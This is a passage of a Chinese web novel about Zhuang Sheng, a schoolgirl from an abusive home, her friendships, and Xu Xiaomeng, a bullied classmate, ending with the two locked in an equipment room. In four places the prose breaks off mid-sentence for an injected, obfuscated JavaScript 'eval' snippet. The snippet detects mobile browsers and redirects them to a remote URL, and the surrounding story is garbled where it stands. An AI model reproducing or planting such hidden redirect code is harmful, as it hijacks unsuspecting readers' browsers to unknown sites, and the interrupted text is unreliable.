以后她也会有自己可以掌控的生活。庄笙是抱着这样的信念进入临城中学的。 这里和她的初中是两个既不同又重叠的世界。 临城三中初中部的鱼龙混杂被新高中人人可见的精致体面所取代。大部分同学更为天真幼稚,也更残忍。但人性是相同也相通的。再贵的球鞋也掩盖不了低劣的品格。 庄笙进入班级的第一天,被李婉玫指派为英语课代表。当天收作业的时候有一组迟迟没交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739511|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。眼看着时间快过了,庄笙只好去催。 因为是开学的第一天,暂时都由第一排收作业。都不用走近就能看见靠窗边的男生正在慢悠悠地写字。他左手压着一摞作业本,最上面那一本是摊开的,他每写一行都要看一眼。抄的时候也不大用心,磨磨唧唧的,还要低头看眼手机。 快到晚自习下课了,班里吵闹的声音渐渐起来。 庄笙走到他面前,十分有礼貌地提醒:“同学,该交作业了。” 男生没有抬头,回手机消息时笑得合不拢嘴。 他看上去很像一只黑漆漆的猿猴,因为被关在动物园而精神失常。庄笙出神地想。 等了一会儿,那个男生也只瞟了她一眼,继续慢慢地写。 “我可以先收走吗,等会儿你可以交去办公室——”庄笙的声音天生柔和亲切。 然而猿猴忽然站起来张开了血盆大口,爆发一般捶在课桌上:“催你马啊催,有病嗦?你急着投胎吗,没看到老子还没写完?你龟儿等到!” 全班瞬间安静了下来。 那一刻,庄笙忽然想起了很多事。好像那一拳捶打的不是课桌,而是打碎了时间空间,令她在此刻手脚发麻。 威胁的阴影笼罩住她,将她锁在原地。 物理意义上悬殊的差距造成深深的不安。像一只爬虫突然出现在脚底,咬住她的血管,迸出铁锈的气味,将她缠绕在危机的漩涡。 她知道眼前这个人不正常。像是突然撕开人类的表皮,露出动物的血肉,只知道争夺权力和使用暴.力。 那就只能在保证安全的情况下用不正常的方式对待对方。 幸好她早就知道该怎么做了。 面对不好的一切,越是表现惊吓与害怕,便越是一种引诱。只要冷漠置之,它们就都不存在。 庄笙安静地后撤半步,看见原本阴狠的瘦猴忽然又挂上满意的笑容,一副恫吓得逞的嘴脸。他慢慢坐回位置上,周围人的目光越是集中,越让他得意。 庄笙看了他一眼,早就冷漠的脸蛋变得平静。她抱着作业转身离开了教室。在她转身的那一刻,她听见了对方极低的笑声。 …… 是在笑她软弱可欺吗? 那又怎么样。 她不准备再收他们组的作业了。 庄笙顺着走廊走出没几步,被人从后面叫住。 “庄笙?”跑来的男生很高,他手握几本作业,是刚才郁迟那一组的。他轻轻放在她抱着的那一摞上面,“你别生气,跟老师说是郁迟自己不交的。” 庄笙敏锐地注意到他说话时的用词。她一点都不生气,但“生气”二字帮她揭过了自己的懦弱,维护了一点可笑的尊严。 走廊上方柔软的光线洒在对方的眼睛里,随着爽朗大方的笑容跃动,让那张陌生而俊秀的少年脸庞变得莫名亲近。 “不用太感谢我。”男生朝她挥挥手。 庄笙看见最上面作业本的名字,陈屿。 岛屿的屿。 可是临城在内陆,离海太远了。 庄笙摁住莫名其妙的念头,紧张的身体细胞好像正在放松。 但这些都阻止不了她讨厌郁迟。 就像几个月后,她讨厌徐晓梦那样。 22.印象 在徐晓梦转学来之前,陈屿算是庄笙的第二个朋友。 第一个是温嘉。她俩是小学同学,初中隔壁班,是正儿八经的发小。只不过她俩始终隔着一层。 她和温嘉的成绩相差不少。庄笙一开始以为自己可以帮助温嘉。但温嘉宁愿去找麦吉和庞潇问题,也不会来找庄笙。有一次庄笙在宿舍给她讲了一道数学题,温嘉也不说懂没懂,反而抱怨庄笙“没有耐心”。 她对温嘉渐渐失去期待。 她感觉温嘉并不想接近自己。倒也不强求,现在只算是搭伴吃饭上学。庄笙也有很多事不会分享给她。 随着座位的调换,陈屿坐在了庄笙后桌。 可能是因为上次陈屿主动和她说话,给她留了一个不错的印象。 陈屿是那种阳光开朗的性格,很容易和人打成一片。班上的男生都很爱和他交朋友。后来庄笙发现女生也喜欢和他当朋友,因为他温柔细腻的那一面。 庄笙听见他给赵选讲题时清晰的逻辑,还伴随时不时的反问和鼓励。这大概就是温嘉需要的“耐心”。换做庄笙听见连续三次“不知道”,就已经想让对方回去自己看公式了。 她没有让陈屿给自己讲过题。没有搞懂的地方不如自己花点时间思考,虽说不是十拿九稳,但至少学会怎么学习。 一般晚自习的最后一节之前,庄笙就会完成作业。剩下的四十分钟会花十分钟做一篇英文的完形填空,然后背十分钟单词,再用余下的二十分钟看一会儿课外书。 有一周她在读《梦里花落知多少》。陈屿在晚自习结束时说自己只看过《万水千山走遍》,问庄笙能不能借给他读一下。 对于庄笙而言,读书是一件挺私密的事。但遇到一个同样喜欢作者的很不容易,她答应了。 她是周三给陈屿的,周四晚上她看见陈屿读书时微红的眼眶。周五还书的时候,陈屿说:“撒哈拉沙漠好远啊,真想去看看。” 他说话时眉目弯弯,听得庄笙一愣。她答道:“以后会去的吧。” “你也想周游世界吗?”陈屿问。 像三毛那样。 庄笙说:“当然啊。我还没出过国,哪儿都没去过。我想去塔希提,想去大马士革——” “《国家地理》?”陈屿从书包里拿出一期杂志,彩印的封面布满盛开的玫瑰。 庄笙的眼睛一亮。陈屿主动递给她,恋恋不舍地嘱咐道:“图书馆借的,周一还我哦。” “放心吧,我会好好保管的。”庄笙捧着杂志,心跟着眼睛飞到了大陆的另一边。 借书这件事莫名拉近了二人的距离。庄笙率先注意到了陈屿和自己相似的地方——是对未来的期待,对未知的兴奋。 她一直笃定自己以后会离开临城。她想陈屿也是的。 好在他们都还小,会有很多很多的未来。 实际上庄笙不常与男生交朋友。她会刻意保持一些距离,否则会有麻烦。说不好是她自作多情,还是旁人戴上有色眼镜。 而除去“早恋”这一层,只有庄笙自己知道,她面对男性群体会生出一种不安的情绪。 这个群体中的大多数人都处于看似不稳定的状态,像一颗颗定时炸.弹,说不好什么时候就会爆.炸。比如郁迟。 庄笙优先考虑自己的生存安全,宁愿离远一点,再远一点。 陈屿是少数让她感到安全的。起码陈屿比较体面,不像未经驯化的动物。 因为某些动物性更强的人类看不见人和人之间因为兴趣的链接,眼里只有求偶的本能。 ——至少庄笙是这样理解的。 比如麦吉会在收语文作业的时候当着她的面挤眉弄眼:“你作文这一段写的是谁啊,是陈屿吗?……要不今天你帮陈屿打扫卫生呗,给你个机会。” 很多人觉得麦吉好相处。庄笙却不这么觉得。麦吉每次看她的时候,都带着从上到下的打量。庄笙不喜欢这种打量。 只是她反应迟钝,始终不理解麦吉说的话,比如“你去问李老师呗,你都考第一了她肯定会和你说的”,又比如“你去问陈屿啊,他不是最喜欢和你讨论了”。 第二个月的月考后,她和陈屿的总分并列第一,陈屿的数学物理加起来比她高十五分,语文英语比她低十五分,刚好扯平。 班上开始出现异样的目光,和奇怪的流言。 就连温嘉也会在宿舍揶揄她:“陈屿又给你借什么书了,给我也看一眼呗?” 庄笙一开始只觉得奇怪。可没有发生过的事是无法争辩的。随着传话的人多起来,她有时看见陈屿也会想起那些话,导致她脸颊和耳朵都发烫。 一旦和陈屿说话,她又恢复了正常。 庄笙感觉自己好古怪。好像夹在模具中的橡皮泥,很容易就被外界揉搓成形状。 幸好玩笑只是玩笑。 …… 徐晓梦转学来的那天,庄笙是第一个和她说话的。 当时庄笙去李婉玫办公室拿试卷。一个陌生的女生站在窗户前,长直发遮住了微微前倾的脖子和驼背,瘦弱得像一张薄薄的纸片。 垂落的光线穿过她的身体,展露近乎透明的模样。 她注意到庄笙的靠近,悄悄抬起头,眼里浮动着对陌生人的羞怯。 “同学你好,你见到李老师了吗?”庄笙看她站在李婉玫的办公桌前,桌面上很干净,没有放卷子。 那个女孩似乎很胆小,眼皮会因为陌生人的声音而跳动。庄笙联想到自己养过的兔子,不知不觉地降低音量:“你看到周考卷子了吗?” “……没、没有。我……也在等李老师。”她说话的声音很小。 不连贯的语音让庄笙产生了一丝怜悯。她知道自己不应该随便怜悯人,这是一种不尊重。更会让她自己因为冒出了“可怜他人”的想法而愧疚。幸好对面女生脆弱的五官上有一双微显倔强的浓眉,浅浅擦拭着她的愧疚。 庄笙“噢”了一声,一时没有话说。这个年纪的她不是会没话找话的类型,更没有基本的社交技巧,只会环顾四周不再让视线黏着陌生人,企图降低自己的尴尬。 办公室里还有其他老师。他们各忙各的,方原还戴着耳机打实况足球,太过专注,连头没抬。 而庄笙和那个女生单独站在李婉玫的办公桌前,是整个空间里距离最近的两个人。 庄笙揉揉因为镜框压痛的鼻梁,终于想起来可以说点什么:“你是哪个班的?” 过了两秒,身旁的沉默迫使庄笙转过头。那个女生注视着窗外的银杏,好像在发呆。 没有被领的情让庄笙恨不得收回主动。女生又忽然回过头,略带惊讶地问:“你是在,和我说……话?” 庄笙再次意识到自己真的没什么耐心。她想说这里就我们两个站着,还能对空气说话不成。可是她的不耐烦都毫不掩饰地写在脸上,不用开口就会吓跑对方。 果然,那个女生被她的冷漠吓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15744833|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得顿住了。 过了一会儿,庄笙听见她快速地说了几个字。 但太小声了,庄笙根本听不清楚。她只好疑惑地皱眉。 ……还是没听清。 李婉玫的高跟鞋声音在此时响起:“徐晓梦,你是徐晓梦吗?” 庄笙看了看身旁的女生,不用拆解也忽然知道了是哪三个字。是梦里花落知多少的梦。她也像一片梦,那样轻。 她拿起试卷回到教室,不久后李婉玫将这位名为徐晓梦的女同学带了过来。 李婉玫将她安排在靠窗后排的一张桌子。今天恰好也是该换位置的时候。陈屿不再是庄笙的后桌,反而离徐晓梦更近了。 临走前,庄笙把这周要读的《边城》交给陈屿,换回了一本《看电影》。这个月编辑详解的《神探夏洛克》恰好是英语课正在放映的片子。 换书这件事成为了一种心照不宣的默契,是一个很小的公开的秘密。 其实庄笙一直对徐晓梦都没什么印象。这个新来的女生就像那天在李婉玫办公室一样,是半透明的,很多时候都没有存在感。 直到一次体育课。 庄笙是课前最后一个离开教室的。她悄悄把教学区禁止的手机揣进裤兜,抬头就发现徐晓梦站在后门目睹了这一幕。 庄笙是个严格遵守规则的好学生,做事也常常一板一眼的。她被徐晓梦直勾勾的注视吓了一跳,以至于有些不知所措。 但徐晓梦什么也没说,偏头指了指门外。 李婉玫今天换了平底鞋,走路不声不响的。她一来发现两个人还没走,再看是庄笙,只提醒道:“记得把门关好。” 庄笙应了声,手机被侧兜的褶皱挡住,好歹蒙混过关。 课堂活动时,庄笙悄悄在体育场的看台旁边打电话。巨大的树荫将她藏住,只有风声会传出她的低语和呜咽。 路过的徐晓梦抱着篮球,再次撞见了她。 庄笙愣在原地,完全没办法控制表情。 徐晓梦静静地看向她,很快装作无事发生地离开了。不知道为什么,庄笙从她的神情中看出了一丝担忧。 ……是该担忧吗?还是因为她难得一见的狼狈而幸灾乐祸? 庄笙蹲下身,企图将自己藏起来。她捂住嘴,咽下哽咽,听见杨洁梅从电话另一头传来的哭喊。 男人的暴怒伴随着砸东西的声音,一下一下地撞击着她的心脏。 她早该习惯了的。 挂断电话之后,她在原地蹲了很久。今天阳光灿烂,树影婆娑,本来是个好天气。 等她站起身走出树丛,她看见徐晓梦被几个初中部的男生围在不远处的乒乓球台边。原本在她手里的篮球被一个男生抢了过去,还顺手将她推在了地上。 徐晓梦的神情和往常一样苍白,她闷声不吭,不知是恐惧,示弱,还是倔强。 庄笙感觉自己的脚步被固定在原地。 她和徐晓梦之间隔着的不是塑胶跑道,而是一面天地高的镜子。她从这一边,看见自己在另一边。 厌恶,憎恨,逃避……都是她窥见的,无法控制的情绪。 她当然会讨厌徐晓梦。她讨厌徐晓梦撞破了她的秘密,也讨厌徐晓梦的顺从不反抗。她更讨厌那个和徐晓梦相似的自己。 庄笙花了好大的力气才转过身,想当成没看见,逃离这里。 可是才走两步,她又被那面不存在的镜子压得透不过气。她必须回头。 23.镜面 陈屿跑到乒乓球桌边的时候,已经只剩下庄笙和徐晓梦了。 庄笙拍了拍掌心残余的泥灰,有一半都蹭在徐晓梦的校服上。徐晓梦看起来没什么事,瞳孔因为受到惊吓而张开。她被庄笙扶起来的时候顺势压住庄笙的手臂。 徐晓梦的手指冰凉,在深秋的季节冻人得很。庄笙想甩开的时候陈屿过来了。 “出什么事了?”他脸上写满了担心。 庄笙说:“没什么事。” “我刚看到有几个人——” 庄笙打断他:“来借篮球的初中生。” 她咬字清晰,“借”字格外重。抓住庄笙的手指无意中收紧了。 陈屿看起来不能被说服,但庄笙脸上看不出破绽,两个人也没伤没病的。 “那就好,我还以为……出事了。” 临中这个地方看似单纯,水深也因人而异。庄笙深以为然。 可是在那个瞬间,她朝陈屿隐瞒了真相。 因为横亘在她和徐晓梦之间的那面镜子仍然存在,令她无处遁形。 对一些人来说受了一丁点儿委屈也是要哭要喊的。而对另一些人来说,装成无坚不摧的成年人才是生存的法则。 庄笙想,原来徐晓梦也是后者。 所以她和徐晓梦在此时达成了某种默契,互不揭穿。 “那,你们要一起去打球吗?”陈屿指着远处的场子,班上的几个男生在那边玩。 庄笙摇了摇头:“我还没背完单词。” 她想你能不能别问了。 陈屿果然没继续问了,只是留了一句:“有事可以找我。” 他走了之后,抓住庄笙的手也终于松开了。 “谢、谢谢。”她听见徐晓梦说话,声音还是小得和蚊子一样。 庄笙懒得看她,心里涌起的烦躁一股一股地冒出来。她想她是讨厌徐晓梦的。 如果不是徐晓梦出现在了不合时宜的时间地点,这些奇怪的事本来就不会发生。 庄笙戴上耳机,沿着塑胶跑道往前走。太阳光追着她的影子,一步又一步,发出踩碎的声音。 徐晓梦谢她什么呢。 她只不过是因为浓烈的烦躁和自我厌弃,朝那几个初中生放了两句“狠话”。她想对于那种人来说,也并不会因为她是高年级而产生敬畏。是害怕她真的叫老师来,又或者觉得她没有徐晓梦那么好欺负。 其实她也是很好欺负的。 但从那以后,徐晓梦被庄笙划分到了“讨厌”的区域。她尽量避开和徐晓梦说话——虽说徐晓梦本来也过于沉默。 她装作徐晓梦根本不存在,这样她才能说服自己,没关系,没有人看见她的秘密,没有人看见她丑陋不堪的那一面。 就像小时候杨洁梅总是因为她主动分担家务、自己认真学习夸她懂事,却从来看不见她里里外外的伤口。 她听见杨洁梅凄厉地哭喊,也听见她软弱的哀求。 受到伤害的明明是杨洁梅。座机砸到的不是庄笙的手。 可是好痛啊,妈妈。 可是她一点也不敢表现出来,她好害怕。 如果装作什么都没发生,那就什么都没有发生。对不对? 如果不对的话,如果发生了就是真实的话,那为什么杨洁梅也可以装作若无其事继续扮演一个妈妈和妻子? 为什么徐晓梦也可以装作生活一切都好? 早在郁迟第一次找上徐晓梦的时候,庄笙就注意到了。这个女孩除了漂亮没有优点可言。她习惯于沉默,不会哭喊,也不会告状,她只是像一尊石像坐在那里,任凭言语如刀子泼下也不动不逃。 光红了眼睛扮演无辜有什么用。旁人会同情,但不会施以援手。多么天真的想法,多么矫情自恋,才会喜欢演一个受害者博取同情。 庄笙憎恨这样的她。 可惜同处于一个班,庄笙无法完全忽略她的存在。 第一次有人起哄徐晓梦和陈屿的那天,庄笙才想起来,徐晓梦多半是把陈屿的话当真了。 回宿舍的时候,温嘉扭头看了一眼台阶下方的徐晓梦,朝庄笙大声说:“太好了,绯闻女主角终于换人了。你总算能清静一下,不然老有外班的来问谁是陈屿的女朋友。” 庄笙正在走神,手机在裤兜里震动。 回到宿舍后,温嘉嚷嚷着太臭了要洗澡。庄笙翻了一会儿书,听见微弱的敲门声。 她打开门,惊讶地发现是徐晓梦。 穿着二手校服的女孩小声说:“我可以和你说一件事吗?” 庄笙莫名其妙。徐晓梦站在走廊上过于显眼,她又不想让徐晓梦进宿舍。但看着架势,她是暂时没法摆脱了。 于是庄笙去了徐晓梦的宿舍。在尽头的那间宿舍比其他房间都要小一些,只有徐晓梦一个人。 庄笙回头看了一眼才把门掩上。 “你要说什么?” 徐晓梦支支吾吾了好一会儿,才说:“他们说,陈屿和我……我、我不是。” 庄笙忍着烦躁,抱起双臂:“真巧,我也不是。” 真奇怪,徐晓梦和她说这个干嘛。而且徐晓梦说话还吞字严重,讲什么都讲不清楚。又摆出这么小心翼翼的模样,是怕自己生气?庄笙想,自己生气很吓人吗? 徐晓梦听见她的答复后仍然很紧张:“大家误、会了,不听我说。” “那我听?”庄笙反问道。 她以为自己的不耐烦已经很明显了。 结果徐晓梦竟然点点头,费了点力气才不结巴:“嗯,你不要误会。” “说完了?” “嗯嗯。” 午休的铃声一响,庄笙转头就走。她不想看徐晓梦的表情,这件事明明与她无关。 回到宿舍后,郁结的气仍然闷在胸口。而她说不出生闷气的原因。 杨洁梅今天又给她打电话了,她说庄岩疯了居然想辞职。庄笙插不上话,只能听杨洁梅诉苦。 今天是周四,明天下午她得搭校车回家。 ……那个地方真的叫做“家”吗?庄笙不确定。 一想到要回去面对杨洁梅和庄岩,她宁愿呆在学校,至少安全。 她每周一走进家门,除了她自己的小房间,一切都是不安的。她不知道谁什么时候会发爆发,那么大的声音也无法当作听不见。 邻居也来敲过门,他们俩,尤其是庄岩好面子,会暂时消停。 戴上耳机会好一点吗?庄笙想,她必须得把声音调到最大。 她有时候会觉得不公平。凭什么他们俩吵架可以砸东西,而她生气连摔门都不行。 在这个叫做“家庭”的权力结构中,她是最底层的那一个。 ……以后会好的吧。 庄笙缩在自己的房间里翻开这个月的国家地理杂志。封面是一望无际的南极海洋,成群的虎鲸跃出水面。书上说它们智商极高,因此被困在狭窄的海洋馆会造成它们精神失常。 庄笙感同身受。 她压平封面的一角,想着周日晚上可以带去学校。杨洁梅给她订了这本杂志,以后陈屿不用去图书馆借了。 …… 陈屿和她的座位又远了一点。 把杂志给陈屿的时候,麦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15752518|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吉刚交完周考的数学卷子过来:“陈屿,最后两道题你做出来了吗?方原从哪里找的题库,这么难。” 陈屿是感觉不到难度的:“做了,不知道对不对。庄笙你最后一道的答案是什么?” 庄笙说了个数字,陈屿立刻道:“是一样的,应该没问题。” “诶你们过分了,”麦吉瞟了一眼庄笙,“陈屿你怎么教她不教我。” 陈屿收好杂志,放进抽屉:“人家自己做的,用不着我。” 麦吉瞪圆了眼睛:“真的假的?” 庄笙看他一眼,没说话。 麦吉又说:“你期中考试数学比我还低五分呢。” 庄笙忍不住说:“你记错了。” “不可能!你考多少分?”麦吉来劲儿了。 “肯定比你高,”陈屿插话道,“她年级前15,你89,每一门都比人低。” 麦吉:“……你过分了啊。” 庄笙懒得听他们拌嘴。麦吉这人看起来圆滑,有时候说话藏不住,分不清是不小心还是故意的。总之他这个班长当得很失败,管理不了大部分人不说,成绩也压不住人。没什么威信可言。 运动会前一周彩排当晚,庄笙被麦吉叫上一起去帮忙。庄笙原本是不想去,耐不住他一直说人手不够。 再加上她昨天体育课不小心把mp3搞掉了,想顺便去找一下。她记得就是去器材室还完羽毛球拍之后不见的。 她到的时候只有麦吉在。麦吉说冯银子他们等会儿就来,让庄笙先帮忙在器材室找一下要用到的工具,一把改刀。 体育馆的器材室很大,活动会用到的物品通常都存放在最里面。庄笙好不容易绕进去之后发现光线过于昏暗,但她已经听不见麦吉的声音了。 她把改刀放在器材室门口。然后又进去找mp3。 羽毛球拍也堆在里面,周围东西太多,粉尘的味道又过重,刺激得庄笙连续打喷嚏。过了不知道多久,她听见有人进来了。 居然是徐晓梦。 徐晓梦气息轻微,忽然出现在她身后,跟个女鬼似的,吓得庄笙心跳加速。当她仔细一看,又生出疑惑:“你来这儿干什么,你脸怎么了?” 徐晓梦的左脸红扑扑的,眼睛也红,像是刚哭过。庄笙可不想欺负她,也不想和她沾上关系,因此下意识地想离她远一点。 “你在找,东西吗?”徐晓梦答非所问,看起来没有那么害怕庄笙。 “……对。”庄笙说。 “我帮你。” 庄笙本来想拒绝,但徐晓梦已经蹲下身开始一起四处摸索。 “你们排练开始了?”庄笙今天不想接杨洁梅电话,索性没带手机去教学区,连时间也不知道。 “嗯,差不多了。”徐晓梦用细轻的声音答道。 庄笙注意到,她听上去不是很情愿。 在二人继续往里搜索时,徐晓梦眼前一亮:“是不是,那个!” 庄笙顺着她的方向望去时,头顶暗沉的灯光忽然黑了。随着一声轻响,庄笙心里一动,她立刻意识到有人锁门了:“喂,还有人!别锁门!” 但四周的黑暗令她手脚发冷,脑袋昏沉,因为心急差点被绊倒。 她不要被关在这里。……不要! 可她清楚地记起,器材室是加厚的防火门,没有人听得见她的声音。 惊悚倏忽而生,像多年前被关进又黑又窄的厕所时,无从呼救。 “别害怕。”一个轻柔的声音忽然在她耳边说道。 徐晓梦抓住她的手,像看穿了她的胆怯软弱,竟然在黑暗中安慰起她。 24.黑色 庄笙的童年经历过许多个黑色空间。 窄小的厕所,闷热的轿车,空无一人的房间,冰凉的楼道……它们都在记忆中变成同样的黑色,像一座牢笼困住手脚。世界有时充斥着极端的安静,静得只有自己的呼吸。也有时吵得不可开交,比如晾衣架打在皮肉伤的响声,比如杨洁梅阴晴不定的脾气,又比如人类发出比怪物还可怕的吼叫。 这些声音起起伏伏,连贯的重叠的,全部塞进尚且年幼的她的脑袋。 书上说,恐惧久了,就会变成安全。因为人的理解会发生偏差,将带来疼痛的理解为好的,将安全的理解为无聊的。所以人会倾向于寻找疼痛。 庄笙却很清楚,这是一种严重的自虐行为。 可能是幼时挨的打反而让她的脊梁骨更挺了。总之她没办法屈服,也没办法说服自己接受。 无论多少次,她都会害怕。 她知道这个狭窄的空间中只会有她自己。而她的命运在门外的人手上。于是她只能曲意逢迎,衍生出一套自己独特的生存本领。 但她没办法坦然接受自己的恐惧。既然要很好地生存,那就不能够恐惧——成熟的大人是不会担惊受怕的,对吗? 所以她也可以舍弃掉对恐惧的感受,就像她过去舍弃掉对爱的感受一样。 可是徐晓梦为什么要和她说:“别害怕。” 哄小孩那样放轻声音。好像她真的害怕了似的。 庄笙甩开她的手,无处不在的黑暗却更加令人踌躇。 ……要是还有个人就好了。 这个念头冒出来的瞬间,庄笙想起自己并非是一个人被关在这里。徐晓梦不是人吗,她应该算是,要是不那么透明就好了。 冰凉的触感在黑暗中碰到庄笙的指尖,吓得她立刻弹起来:“你干嘛!” “……你,别怕,”徐晓梦的声音贴过来,“不急,容易摔。” 庄笙感觉她的声音忽近忽远,手在空气里挥舞半天也碰不到,讷讷道:“你……你人呢?” 带着温度的手忽然抓住了她。 “我在这里,你别乱跑。”徐晓梦在黑暗中靠近她。 庄笙悬起来的心还没完全放下,忽然想起:“你现在说话怎么流畅多了?” 徐晓梦似乎很吃惊:“真的吗?” 听见庄笙给了肯定的答复,徐晓梦点点头:“我家……晚上很黑,小时候赶、□□惯了。我看得见。” 庄笙:“……你把我当猪?” “没有的。”徐晓梦着急地拽她的手,力气大得差点让庄笙摔过去。 过了一会儿,徐晓梦又问:“你现在……好点了吗?” 庄笙没说话。被徐晓梦这么一打岔,那些深藏在回忆中的负面情绪忽然不见了影子,让她只能聚焦于当下的境况。 “你说、话?” 庄笙能想见徐晓梦又急又怯的样子,让人想继续逗一下。她故意保持了沉默。过了几秒,徐晓梦拽了拽她的袖子:“你这么……怕?” 庄笙赶紧开口:“我没有,你别乱说。” 徐晓梦:“哦。” 二人在黑暗中无言相对。庄笙叹了口气:“我们往门边走,去那边喊一下,万一外面有人呢。” “有,他们在外面。”徐晓梦的脚步开始动作。她走一步,再拉着庄笙走一步。不出十几步路,庄笙忽然明白过来,徐晓梦也不是真的有什么夜视能力,一样要靠手脚摸索。 但她没打算揭穿徐晓梦。 磕磕绊绊地走了一会儿,庄笙终于摸到了门。她们开始呼救,着急地撞着门,喊了一圈名字。 庄笙从来没见过徐晓梦那么发出那么大的声音。但没过多久,庄笙意识到这是无效的:“别喊了,外面听不见的。” 那现在怎么办? “你带手机了吗?”庄笙问。 徐晓梦的回答在意料之中:“没有。回宿舍……晚了,会、会不会扣分?” 庄笙被她气笑了:“你现在还想这个呢。要是没人来值班检查,我们得等到明天有人上体育课的时候。” 说到检查,庄笙忽然想到自己找出来的那把改刀。按理说冯银子他们用完肯定会还回来的,所以他们只要再耐心地等待一下。 抱着这样的期望,庄笙慢慢地平复心情。相比之下,徐晓梦比她镇静多了,从头到尾的呼吸都异常平缓。 庄笙转过身,用背靠着门,在极端安静的环境中整理着思绪。 “那天的事情,”庄笙想了想,还是开口问,“你没有告诉别人吧?” “什……么事?”徐晓梦的声音充满疑惑,又恢复了柔软轻缓的语调。 庄笙不信她忘了:“体育课那天。” 庄笙感觉徐晓梦在她身旁摇了摇头,长发扫过了她的手腕。 “没有,我会……保密。”徐晓梦认真地说。 庄笙难得见到她聪明的时刻,绷紧的神经变得轻松起来。但下一刻,徐晓梦又好奇:“你发,生什么事了?” 打破边界的好奇有时面目可憎。 庄笙语气冷冰冰的:“不关你的事。” 徐晓梦“哦”了一声,似乎被她吓到,又不说话了。庄笙想,你故意的吧,哪里有这么凶,好像她是个坏人。 幸好徐晓梦又补救道:“那我,不问了。” 庄笙说:“你呢,为什么来这个学校啊?” 明明是不公平的问答,徐晓梦却没有质疑地接受了:“不用花,钱。” 庄笙说:“读公立也不用花钱啊。” “……会给,生活费。”徐晓梦补充道。 庄笙见过最穷的亲戚也就是本地小职工,对徐晓梦的情况一无所知。听说学校包吃包住,还会补贴她一个月三百块。 “三百?”庄笙发出惊讶的声音。 徐晓梦沉浸在满足中:“是不是很多?” 庄笙顿了顿,换了个话题:“昨天卓诗兰故意把你练习册藏起来,你不生气吗?” 她装作不经意的拐弯抹角,徐晓梦似乎都了然。只是这一回,徐晓梦思索了一会儿才回答:“有一点害怕,也有一点,生气,不多。” 她似乎举起手在黑暗中比划了一下,在向庄笙说,就那么一点。 庄笙说:“有人打你,你也不生气?” 她听见徐晓梦吸吸鼻子:“她只是推、推我,是我摔倒的时候……自己撞到了。” “她是谁?”庄笙说。 “……” 徐晓梦说:“没有很,生气。” 庄笙回以诧异。她原以为徐晓梦有很多委屈。 “他们不敢,很过分,”徐晓梦慢慢吐字,“比以前好多了。我在这里,不够起眼。” 庄笙先是被她的天真逗笑。 ……这还不起眼吗? 什么算过分? 电光火石间又仿佛听懂了徐晓梦的言外之意。可是庄笙又不懂,她是在顶多算漏风的温室里长大,没见过恶劣的环境。 真的会比以前的三中还差吗? 庄笙联想到徐晓梦那副从来软弱不反抗的模样,先前的看法稍微改变了一点。人都有自己的生存法则,她有她的,徐晓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15759154|173352||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 梦也有徐晓梦的。 哪怕外界的反馈对人亦有差别。比如庄笙不理会郁迟,郁迟也不会轻易招惹庄笙。同样的反应是徐晓梦给出的,后果却完全不同。 庄笙想,自己应该庆幸的。但不知为何,她也生出了愧疚。 “那你,没有朋友吗?”庄笙又问。 徐晓梦说:“现在,算吗?” 她抓住庄笙的手一直没有松开,此时迟疑了片刻。 庄笙抓住了那一秒的迟疑,一下子挣开:“别自作多情了。” 徐晓梦失落地“哦”了一声。她转过身,也靠在门上,肩头碰到了庄笙的肩。过了一会儿,庄笙感觉掌心被人推入了一个冰凉的小方块。 事情来得太突然,她都忘记了是来找mp3的。 学校不让带手机到教学区,mp3主要是用来听英语。这是庄岩买给她的,一千二。庄岩每次给她花钱的时候,都会让她以为自己是被爱的。杨洁梅反复说自己都没用过这么贵的。庄笙说要不这个你用吧,杨洁梅又不接,说等你用坏了再给我。 庄笙很喜欢这只mp3,因为它很漂亮,是一枚小小的银色。但她每次用都会想起庄岩和杨洁梅。所以上周弄丢的时候,她竟然隐隐地松了一口气。甚至觉得找得回来就找,找不回来就算了。 此时庄笙的心情更复杂了。 